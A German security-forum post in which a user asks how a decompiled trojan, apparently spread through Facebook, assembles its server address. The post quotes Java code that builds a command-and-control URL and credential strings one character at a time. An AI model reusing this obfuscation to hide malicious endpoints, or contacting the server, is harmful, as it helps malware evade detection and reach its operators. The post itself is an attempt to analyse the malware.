Viren, Spyware, Datenschutz 11.213 Themen, 94.186 Beiträge

Hi,
ich hab eine *.jar decompeliert, und guck jetzt einwenig in den Code herum.
Dabei ist mir die URL aufgefallen.
Bei der URL bin ich jetzt bei

http://
neposopuhote.redirectment
:83
/service/index.php

Wie setzt sich das ganze zusammen?

Danke
###

this.session = ("" + System.currentTimeMillis());
    this.domain = "n"; this.serviceUrl = "h"; this.domain += "e"; this.domain += "p"; this.serviceUrl += "t"; this.domain += "o";
    this.domain += "s"; this.domain += "o"; this.domain += "p"; this.domain += "u"; this.serviceUrl += "t"; this.domain += "h"; this.domain += "o"; this.domain += "t";
    this.domain += "e";
    this.domain += ".";
    this.domain += "r";
    this.serviceUrl += "p";
    this.domain += "e";
    this.domain += "d";
    this.domain += "i";
    this.pwd = this.number;
    this.pwd += "d";
    this.domain += "r";
    this.serviceUrl += ":";
    this.domain += "e";
    this.domain += "c";
    this.pwd += "w";
    this.usr = "u";
    this.domain += "t";
    this.domain += "m";
    this.domain += "e";
    this.usr += "s";
    this.serviceUrl += "/"; this.domain += ".";
    this.serviceUrl += "/";
    this.domain += "n";
    this.domain += "e";
    this.domain += "t";
    this.serviceUrl += this.domain;
    this.serviceUrl += ":";
    this.serviceUrl += "8"; this.serviceUrl += "3"; this.serviceUrl += "/";
    this.serviceUrl += "s";
    this.serviceUrl += "e";
    this.serviceUrl += "r";
    this.usr += "r";
    this.serviceUrl += "v";
    this.serviceUrl += "i";
    this.serviceUrl += "c";
    this.serviceUrl += "e";
    this.serviceUrl += "/";
    this.serviceUrl += "i";
    this.serviceUrl += "n";
    this.serviceUrl += "d";
    this.serviceUrl += "e";
    this.serviceUrl += "x";
    this.serviceUrl += ".";
    this.serviceUrl += "p";
    this.serviceUrl += "h";
    this.serviceUrl += "p";
    this.pwd += "p";
    this.usr += this.number;

Das Ding ist in Viren usw, weils in einem "Facebook Trojaner" ist